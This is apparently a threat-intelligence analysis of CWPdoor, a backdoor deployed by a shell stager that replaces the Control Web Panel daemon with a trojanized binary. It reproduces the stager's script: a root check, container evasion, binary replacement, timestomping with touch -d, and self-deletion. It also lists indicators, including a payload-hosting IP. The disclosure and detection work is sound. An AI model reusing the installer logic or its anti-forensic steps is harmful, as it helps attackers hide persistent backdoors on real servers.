Root-only deployment
The script resolves the current UID and exits when it cannot obtain the privileges needed to replace the CWP daemon.
Technical analysis of a shell-based deployment chain that replaces the Control Web Panel server daemon with a trojanized ELF64 implant, restores the original timestamp, restarts the service, and removes staging artefacts.
cwpsrv_update.sh is a Linux deployment stager for CWPdoor. It checks for root execution, inspects the host through /proc, stops the Control Web Panel service, and substitutes /usr/local/cwpsrv/bin/cwpsrv with a trojanized ELF64 server implant.
The replacement daemon provides a passive web backdoor. Instead of maintaining a constant outbound session, it waits inside the web-panel service for specially formed inbound HTTP/HTTPS requests. The installation sequence restores the original modification time and deletes temporary files after restarting the daemon.
The script resolves the current UID and exits when it cannot obtain the privileges needed to replace the CWP daemon.
Kernel and init data under /proc are checked for container, Docker, or LXC markers before payload installation.
The active cwpsrv service is stopped so its binary can be replaced with the trojanized ELF64 implant.
The original file time is captured before replacement and applied to the malicious binary after installation.
The implant waits for crafted inbound web requests instead of exposing a continuous outbound callback pattern.
75be2dbd8104e792ed67cb722a7bce19bb1bd53bac68d5b8d01395a7c59b46022937a4eaa81dbe77e0334b806e06bf65dde68eaea23849bb5da6370c67994266The stager calls id and requires root/UID 0 before modifying the protected CWP installation path.
/proc/sys/kernel/osrelease, /proc/cmdline, and /proc/1/environ expose kernel and container markers used to decide whether execution continues.
The script suspends the active cwpsrv and cwp-php daemons. The reconstructed flow uses systemctl or the SysV init script to stop cwpsrv before its binary is replaced.
curl or wget retrieves the replacement implant from 136.0.141[.]71 and writes it to a temporary staging path.
The original daemon can be copied to cwpsrv.orig before the staged ELF is moved to /usr/local/cwpsrv/bin/cwpsrv, assigned mode 0755, and owned by root:root.
The original modification time is saved with stat and restored with touch -d, reducing obvious timeline differences around the replaced binary.
The stager restarts cwpsrv, removes the temporary payload and deletes its own script, leaving the backdoored daemon active at the expected service path.
CWPdoor operates inside the substituted web-panel daemon. Normal administrative traffic passes without activating the implant; specially formed headers/request content trigger backdoor processing and command execution.
The deployment chain uses 136.0.141[.]71 for payload distribution. The associated resolution flow includes a public resolver at 8.8.4[.]4; that address is shared Google infrastructure and is contextual rather than a standalone malicious indicator.
CURRENT_UID=$(id -u 2>/dev/null || whoami)
if [ "$CURRENT_UID" != "0" ] && [ "$CURRENT_UID" != "root" ]; then
exit 1
fi
if grep -E -q -a "container=|docker|lxc" /proc/1/environ; then
# stop inside a container-marked environment
exit 0
fi
TARGET_BIN="/usr/local/cwpsrv/bin/cwpsrv"
TEMP_PAYLOAD="/tmp/.cwpsrv_update"
systemctl stop cwpsrv.service 2>/dev/null || true
REF_TIMESTAMP=$(stat -c %y "$TARGET_BIN" 2>/dev/null || true)
cp -p "$TARGET_BIN" "${TARGET_BIN}.orig" 2>/dev/null || true
mv -f "$TEMP_PAYLOAD" "$TARGET_BIN"
chmod 0755 "$TARGET_BIN"
chown root:root "$TARGET_BIN"
touch -d "$REF_TIMESTAMP" "$TARGET_BIN" 2>/dev/null || true
systemctl start cwpsrv.service 2>/dev/null || true
rm -f /tmp/.cwpsrv_update "$0" 2>/dev/null || true
The implant is installed at the established CWP daemon location instead of a new autostart path. Existing service configuration then launches the replacement binary.
The original modification time is copied onto the replacement, making a simple directory listing less likely to expose the installation time.
The service is stopped before file replacement and restarted afterwards, avoiding an in-use executable and activating the implant through the normal daemon manager.
The downloaded temporary payload and installer script are deleted after the replacement service starts.
cwpsrv_update.sh resembles the naming of legitimate Control Web Panel update activity.
stat captures the existing daemon timestamp and touch applies it to the replacement binary.
Temporary payload data and the executing shell script are removed after the daemon is restarted.
id verifies that the stager has root privileges before it changes the protected service binary.
The script reads /proc/1/environ and exits when it finds container, Docker, or LXC strings.
Encrypted web requests are used in the associated update-resolution flow, limiting visibility from local plaintext DNS inspection.
| Type | Value | Context |
|---|---|---|
| SHA-256 | 75be2dbd8104e792ed67cb722a7bce19bb1bd53bac68d5b8d01395a7c59b4602 | cwpsrv_update.sh delivery/environment stager |
| SHA-256 | 2937a4eaa81dbe77e0334b806e06bf65dde68eaea23849bb5da6370c67994266 | cwpsrv.suspeito trojanized ELF64 implant |
| MD5 | d3f4e95113d49ab3991b45e457bda75b | Related binary-staging artefact |
| Type | Value | Context |
|---|---|---|
| IPv4 | 136.0.141[.]71 | Payload-hosting/distribution endpoint on Evoxt infrastructure in the Netherlands |
| IPv4 | 8.8.4[.]4 | Shared Google public resolver used as a fallback resolution endpoint |
Context: 8.8.4[.]4 is legitimate shared infrastructure. Its presence alone does not identify a compromised host.
| Type | Value | Context |
|---|---|---|
| Filename | cwpsrv_update.sh | Installer/environment stager |
| Filename | cwpsrv.suspeito | Trojanized ELF64 server implant |
| Target path | /usr/local/cwpsrv/bin/cwpsrv | Legitimate daemon path replaced by the implant |
| Staging path | /tmp/.cwpsrv_update | Temporary payload path in the reconstructed flow |
| Backup path | /usr/local/cwpsrv/bin/cwpsrv.orig | Possible copy of the original daemon |